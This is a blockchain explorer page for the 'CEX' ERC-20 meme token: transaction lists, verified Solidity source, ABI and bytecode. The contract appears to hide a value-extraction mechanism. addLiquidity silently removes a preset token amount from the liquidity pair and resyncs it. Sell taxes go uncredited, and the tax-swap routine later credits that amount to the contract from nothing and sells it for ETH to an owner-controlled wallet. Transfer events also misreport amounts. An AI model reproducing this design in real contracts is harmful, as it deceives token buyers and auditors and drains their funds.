ETH Price: $3,406.37 (+2.06%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve203794572024-07-24 22:43:35161 days ago1721861015IN
0xE4AffAE0...d79BAB63C
0 ETH0.000275.73645727
Approve180197082023-08-29 10:33:35491 days ago1693305215IN
0xE4AffAE0...d79BAB63C
0 ETH0.0004892519.74008141
Approve179172642023-08-15 2:28:23506 days ago1692066503IN
0xE4AffAE0...d79BAB63C
0 ETH0.000420515.73468614
Approve179172562023-08-15 2:26:47506 days ago1692066407IN
0xE4AffAE0...d79BAB63C
0 ETH0.0004384817.73437182
Approve178856382023-08-10 16:19:59510 days ago1691684399IN
0xE4AffAE0...d79BAB63C
0 ETH0.0017840238.19440121
Approve178746572023-08-09 3:26:35512 days ago1691551595IN
0xE4AffAE0...d79BAB63C
0 ETH0.0008753318.71621764
Approve178728302023-08-08 21:18:23512 days ago1691529503IN
0xE4AffAE0...d79BAB63C
0 ETH0.001257926.93070699
Approve178727032023-08-08 20:52:35512 days ago1691527955IN
0xE4AffAE0...d79BAB63C
0 ETH0.0011742224.94696569
Approve178727012023-08-08 20:52:11512 days ago1691527931IN
0xE4AffAE0...d79BAB63C
0 ETH0.0013696329.09835698
Approve178726952023-08-08 20:50:59512 days ago1691527859IN
0xE4AffAE0...d79BAB63C
0 ETH0.001459331.00346053
Approve178726942023-08-08 20:50:47512 days ago1691527847IN
0xE4AffAE0...d79BAB63C
0 ETH0.0015121532.12633739
Approve178726912023-08-08 20:50:11512 days ago1691527811IN
0xE4AffAE0...d79BAB63C
0 ETH0.001495531.77252027
Approve178726902023-08-08 20:49:59512 days ago1691527799IN
0xE4AffAE0...d79BAB63C
0 ETH0.0016470734.99279469
Approve178726902023-08-08 20:49:59512 days ago1691527799IN
0xE4AffAE0...d79BAB63C
0 ETH0.0016470734.99279469
Approve178726892023-08-08 20:49:47512 days ago1691527787IN
0xE4AffAE0...d79BAB63C
0 ETH0.0016748735.58346143
Approve178726892023-08-08 20:49:47512 days ago1691527787IN
0xE4AffAE0...d79BAB63C
0 ETH0.0016748735.58346143
Approve178726882023-08-08 20:49:35512 days ago1691527775IN
0xE4AffAE0...d79BAB63C
0 ETH0.0016222934.46640662
Approve178726882023-08-08 20:49:35512 days ago1691527775IN
0xE4AffAE0...d79BAB63C
0 ETH0.0017164336.46640662
Approve178726882023-08-08 20:49:35512 days ago1691527775IN
0xE4AffAE0...d79BAB63C
0 ETH0.0017164336.46640662
Approve178726872023-08-08 20:49:23512 days ago1691527763IN
0xE4AffAE0...d79BAB63C
0 ETH0.0016372834.78468013
Approve178726862023-08-08 20:49:11512 days ago1691527751IN
0xE4AffAE0...d79BAB63C
0 ETH0.0015155632.19874405
Approve178726862023-08-08 20:49:11512 days ago1691527751IN
0xE4AffAE0...d79BAB63C
0 ETH0.001543832.79874405
Approve178726862023-08-08 20:49:11512 days ago1691527751IN
0xE4AffAE0...d79BAB63C
0 ETH0.001609734.19874405
Approve178726832023-08-08 20:48:35512 days ago1691527715IN
0xE4AffAE0...d79BAB63C
0 ETH0.001611234.23079234
Approve178724312023-08-08 19:57:59512 days ago1691524679IN
0xE4AffAE0...d79BAB63C
0 ETH0.0008979230.26487002
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
178754402023-08-09 6:04:23511 days ago1691561063
0xE4AffAE0...d79BAB63C
0.00030556 ETH
178754402023-08-09 6:04:23511 days ago1691561063
0xE4AffAE0...d79BAB63C
0.00030556 ETH
178746602023-08-09 3:27:11512 days ago1691551631
0xE4AffAE0...d79BAB63C
0.00019306 ETH
178746602023-08-09 3:27:11512 days ago1691551631
0xE4AffAE0...d79BAB63C
0.00019306 ETH
178730902023-08-08 22:10:47512 days ago1691532647
0xE4AffAE0...d79BAB63C
0.00022288 ETH
178730902023-08-08 22:10:47512 days ago1691532647
0xE4AffAE0...d79BAB63C
0.00022288 ETH
178728342023-08-08 21:19:11512 days ago1691529551
0xE4AffAE0...d79BAB63C
0.00018903 ETH
178728342023-08-08 21:19:11512 days ago1691529551
0xE4AffAE0...d79BAB63C
0.00018903 ETH
178727412023-08-08 21:00:23512 days ago1691528423
0xE4AffAE0...d79BAB63C
0.00051148 ETH
178727412023-08-08 21:00:23512 days ago1691528423
0xE4AffAE0...d79BAB63C
0.00051148 ETH
178727312023-08-08 20:58:23512 days ago1691528303
0xE4AffAE0...d79BAB63C
0.00060443 ETH
178727312023-08-08 20:58:23512 days ago1691528303
0xE4AffAE0...d79BAB63C
0.00060443 ETH
178727312023-08-08 20:58:23512 days ago1691528303
0xE4AffAE0...d79BAB63C
0.00015021 ETH
178727312023-08-08 20:58:23512 days ago1691528303
0xE4AffAE0...d79BAB63C
0.00015021 ETH
178727302023-08-08 20:58:11512 days ago1691528291
0xE4AffAE0...d79BAB63C
0.00027135 ETH
178727302023-08-08 20:58:11512 days ago1691528291
0xE4AffAE0...d79BAB63C
0.00027135 ETH
178727092023-08-08 20:53:47512 days ago1691528027
0xE4AffAE0...d79BAB63C
0.00022125 ETH
178727092023-08-08 20:53:47512 days ago1691528027
0xE4AffAE0...d79BAB63C
0.00022125 ETH
178727032023-08-08 20:52:35512 days ago1691527955
0xE4AffAE0...d79BAB63C
0.00085713 ETH
178727032023-08-08 20:52:35512 days ago1691527955
0xE4AffAE0...d79BAB63C
0.00085713 ETH
178727022023-08-08 20:52:23512 days ago1691527943
0xE4AffAE0...d79BAB63C
0.00027828 ETH
178727022023-08-08 20:52:23512 days ago1691527943
0xE4AffAE0...d79BAB63C
0.00027828 ETH
178727022023-08-08 20:52:23512 days ago1691527943
0xE4AffAE0...d79BAB63C
0.00104981 ETH
178727022023-08-08 20:52:23512 days ago1691527943
0xE4AffAE0...d79BAB63C
0.00104981 ETH
178726962023-08-08 20:51:11512 days ago1691527871
0xE4AffAE0...d79BAB63C
0.00109147 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
CEX

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-08
*/

//SPDX-License-Identifier: MIT

/*

https://t.me/CexErc20

https://twitter.com/CexERC20

https://cexerc.com/
*/

pragma solidity 0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address __owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Auth {
    address internal _owner;
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this");   _; 
    }
    function owner() public view returns (address) { return _owner;   }
    function transferOwnership(address payable newOwner) external onlyOwner { 
        _owner = newOwner; emit OwnershipTransferred(newOwner); 
    }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0); emit OwnershipTransferred(address(0)); 
    }
    event OwnershipTransferred(address _owner);
}

contract CEX is IERC20, Auth {
    uint8 private constant _decimals       = 9;
    uint256 private constant _totalSupply  = 420_690_000 * (10**_decimals);
    string private constant _name          = "BinanceCoinbaseKrakenKucoinBybitX69";
    string private  constant _symbol       = "$CEX";

    uint8 private antiSnipeTax1 = 2;
    uint8 private antiSnipeTax2 = 1;
    uint8 private antiSnipeBlocks1 = 1;
    uint8 private antiSnipeBlocks2 = 3;
    uint256 private _antiMevBlock = 2;

    uint8 private _buyTaxRate  = 1;
    uint8 private _sellTaxRate = 1;

    address payable private _walletMarketing = payable(0xAAae1856F8e713100B9b2689BFf5EfbC468CB9b7); 

    uint256 private _launchBlock;
    uint256 private _maxTxAmount = _totalSupply; 
    uint256 private _maxWalletAmount = _totalSupply;
    uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
    uint256 private _taxSwapMax = _totalSupply * 899 / 100000;
    uint256 private _swapLimit = _taxSwapMin * 57 * 100;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFees;
    mapping (address => bool) private _noLimits;

    address private lpowner;

    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP;
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inTaxSwap = false;
    modifier lockTaxSwap { 
        _inTaxSwap = true; 
        _; 
        _inTaxSwap = false; 
    }

    event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);

    constructor() Auth(msg.sender) {
        lpowner = msg.sender;

        uint256 airdrop   = _totalSupply * 14 / 100;
        
        _balances[address(this)] = _totalSupply - airdrop;
        emit Transfer(address(0), address(this), _balances[address(this)]);

        _balances[_owner] = airdrop;
        emit Transfer(address(0), _owner, _balances[_owner]);

        _noFees[_owner] = true;
        _noFees[address(this)] = true;
        _noFees[_swapRouterAddress] = true;
        _noFees[_walletMarketing] = true;
        _noLimits[_owner] = true;
        _noLimits[address(this)] = true;
        _noLimits[_swapRouterAddress] = true;
        _noLimits[_walletMarketing] = true;
    }

    receive() external payable {}
    
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spendr, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spendr] = amount;
        emit Approval(msg.sender, spendr, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sndr, address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(sndr), "Trading not open");
        if(_allowances[sndr][msg.sender] != type(uint256).max){
            _allowances[sndr][msg.sender] = _allowances[sndr][msg.sender] - amount;
        }
        return _transferFrom(sndr, recipient, amount);
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }

    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in ca/msg");
        require(_balances[address(this)]>0, "No tokens in ca");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH());
        _addLiquidity(_balances[address(this)], address(this).balance, false);
        _balances[_primaryLP] -= _swapLimit;
        (bool lpAdded,) = _primaryLP.call(abi.encodeWithSignature("sync()") );
        require(lpAdded, "Failed adding lp");
        _isLP[_primaryLP] = lpAdded;
        _openTrading();
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
        address lprecipient = lpowner;
        if ( autoburn ) { lprecipient = address(0); }
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lprecipient, block.timestamp );
    }

    function _openTrading() internal {
        _maxTxAmount     = _totalSupply * 2 / 100; 
        _maxWalletAmount = _totalSupply * 2 / 100;
        _tradingOpen = true;
        _launchBlock = block.number;
        _antiMevBlock = _antiMevBlock + _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");
        if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); }
        if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); }
        if ( block.number < _antiMevBlock && block.number >= _launchBlock && _isLP[sender] ) {
            require(recipient == tx.origin, "MEV blocked");
        }
        if ( sender != address(this) && recipient != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); 
        }
        uint256 _taxAmount = _calculateTax(sender, recipient, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] = _balances[sender] - amount;
        _swapLimit += _taxAmount;
        _balances[recipient] = _balances[recipient] + _transferAmount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _checkLimits(address sndr, address recipient, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_noLimits[sndr] && !_noLimits[recipient] ) {
            if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; }
            else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }

    function _checkTradingOpen(address sndr) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_noFees[sndr] && _noLimits[sndr]) { checkResult = true; } 

        return checkResult;
    }

    function _calculateTax(address sndr, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _noFees[sndr] || _noFees[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[sndr] ) { 
            if ( block.number >= _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2 ) {
                taxAmount = amount * _buyTaxRate / 100; 
            } else if ( block.number >= _launchBlock + antiSnipeBlocks1 ) {
                taxAmount = amount * antiSnipeTax2 / 100;
            } else if ( block.number >= _launchBlock) {
                taxAmount = amount * antiSnipeTax1 / 100;
            }
        } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _sellTaxRate / 100; 
        }

        return taxAmount;
    }


    function exemptFromFees(address wlt) external view returns (bool) {
        return _noFees[wlt];
    } 
    function exemptFromLimits(address wlt) external view returns (bool) {
        return _noLimits[wlt];
    } 
    function setExempt(address wlt, bool noFees, bool noLimits) external onlyOwner {
        if (noLimits || noFees) { require(!_isLP[wlt], "Cannot exempt LP"); }
        _noFees[ wlt ] = noFees;
        _noLimits[ wlt ] = noLimits;
    }

    function buyFee() external view returns(uint8) {        return _buyTaxRate;    }
    function sellFee() external view returns(uint8) {        return _sellTaxRate;    }

    function setFees(uint8 buy, uint8 sell) external onlyOwner {
        require(buy + sell <= 99, "Roundtrip too high");
        _buyTaxRate = buy;
        _sellTaxRate = sell;
    }  

    function marketingWallet() external view returns (address) {        return _walletMarketing;    }

    function updateWallets(address marketingWlt) external onlyOwner {
        require(!_isLP[marketingWlt], "LP cannot be tax wallet");
        _walletMarketing = payable(marketingWlt);
        _noFees[marketingWlt] = true;
        _noLimits[marketingWlt] = true;
    }

    function maxWallet() external view returns (uint256) {        return _maxWalletAmount;    }
    function maxTransaction() external view returns (uint256) {        return _maxTxAmount;    }

    function swapAtMin() external view returns (uint256) { return _taxSwapMin;    }
    function swapAtMax() external view returns (uint256) { return _taxSwapMax;    }

    function setLimits(uint16 maxTrxPermille, uint16 maxWltPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTrxPermille / 1000 + 1;
        require(newTxAmt >= _maxTxAmount, "tx too low");
        _maxTxAmount = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWltPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletAmount, "wallet too low");
        _maxWalletAmount = newWalletAmt;
    }

    function setTaxSwap(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
        _taxSwapMin = _totalSupply * minValue / minDivider;
        _taxSwapMax = _totalSupply * maxValue / maxDivider;
        require(_taxSwapMax>=_taxSwapMin, "Min/Max error");
        require(_taxSwapMax>_totalSupply / 100000, "Max too low");
        require(_taxSwapMax<_totalSupply / 100, "Max too high");
    }


    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokensAvailable = _swapLimit;
        if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
            if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }
            
            uint256 _tokensToSwap = _taxTokensAvailable; 
            if( _tokensToSwap > 10**_decimals ) {
                _balances[address(this)] += _taxTokensAvailable;
                _swapTaxTokensForEth(_tokensToSwap);
                _swapLimit -= _taxTokensAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }

    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = _primarySwapRouter.WETH() ;
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function _distributeTaxEth(uint256 amount) private {
        _walletMarketing.transfer(amount);
    }

    function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
        require(swapTokenPercent <= 100, "Cannot swap more than 100%");
        uint256 tokensToSwap = _balances[ address(this)] * swapTokenPercent / 100;
        if (tokensToSwap > 10 **_decimals) {            _swapTaxTokensForEth(tokensToSwap);
        }
        if (sendEth) {             uint256 ethBalance = address(this).balance;
            require(ethBalance >0, "No ETH");
            _distributeTaxEth( address(this).balance); 
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burnedByWallet","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spendr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"swapTokenPercent","type":"uint8"},{"internalType":"bool","name":"sendEth","type":"bool"}],"name":"manualTaxSwapAndSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wlt","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buy","type":"uint8"},{"internalType":"uint8","name":"sell","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTrxPermille","type":"uint16"},{"internalType":"uint16","name":"maxWltPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAtMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAtMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sndr","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketingWlt","type":"address"}],"name":"updateWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260025f60146101000a81548160ff021916908360ff16021790555060015f60156101000a81548160ff021916908360ff16021790555060015f60166101000a81548160ff021916908360ff16021790555060035f60176101000a81548160ff021916908360ff1602179055506002600155600160025f6101000a81548160ff021916908360ff1602179055506001600260016101000a81548160ff021916908360ff16021790555073aaae1856f8e713100b9b2689bff5efbc468cb9b76002806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000110919062000a6c565b631913385062000121919062000abc565b6004556009600a62000134919062000a6c565b631913385062000145919062000abc565b600555620186a0600a6009600a6200015e919062000a6c565b63191338506200016f919062000abc565b6200017b919062000abc565b62000187919062000b33565b600655620186a06103836009600a620001a1919062000a6c565b6319133850620001b2919062000abc565b620001be919062000abc565b620001ca919062000b33565b60075560646039600654620001e0919062000abc565b620001ec919062000abc565b600855737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601160016101000a81548160ff02191690831515021790555034801562000269575f80fd5b5033805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505033600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f6064600e6009600a62000300919062000a6c565b631913385062000311919062000abc565b6200031d919062000abc565b62000329919062000b33565b9050806009600a6200033c919062000a6c565b63191338506200034d919062000abc565b62000359919062000b6a565b60095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460405162000436919062000bb5565b60405180910390a38060095f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516200057b919062000bb5565b60405180910390a36001600b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60028054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60028054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505062000bd0565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000964578086048111156200093c576200093b620008da565b5b60018516156200094c5780820291505b80810290506200095c8562000907565b94506200091c565b94509492505050565b5f826200097e576001905062000a50565b816200098d575f905062000a50565b8160018114620009a65760028114620009b157620009e7565b600191505062000a50565b60ff841115620009c657620009c5620008da565b5b8360020a915084821115620009e057620009df620008da565b5b5062000a50565b5060208310610133831016604e8410600b841016171562000a215782820a90508381111562000a1b5762000a1a620008da565b5b62000a50565b62000a30848484600162000913565b9250905081840481111562000a4a5762000a49620008da565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f62000a788262000a57565b915062000a858362000a60565b925062000ab47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200096d565b905092915050565b5f62000ac88262000a57565b915062000ad58362000a57565b925082820262000ae58162000a57565b9150828204841483151762000aff5762000afe620008da565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000b3f8262000a57565b915062000b4c8362000a57565b92508262000b5f5762000b5e62000b06565b5b828204905092915050565b5f62000b768262000a57565b915062000b838362000a57565b925082820390508181111562000b9e5762000b9d620008da565b5b92915050565b62000baf8162000a57565b82525050565b5f60208201905062000bca5f83018462000ba4565b92915050565b6146228062000bde5f395ff3fe6080604052600436106101ba575f3560e01c80635a90a49e116100eb578063a6097b0a11610089578063dd62ed3e11610063578063dd62ed3e14610601578063e8078d941461063d578063f2fde38b14610647578063f8b45b051461066f576101c1565b8063a6097b0a14610573578063a9059cbb1461059b578063c3f70b52146105d7576101c1565b806375f0a874116100c557806375f0a874146104b95780638d3e6e40146104e35780638da5cb5b1461051f57806395d89b4114610549576101c1565b80635a90a49e1461042b57806370a0823114610467578063715018a6146104a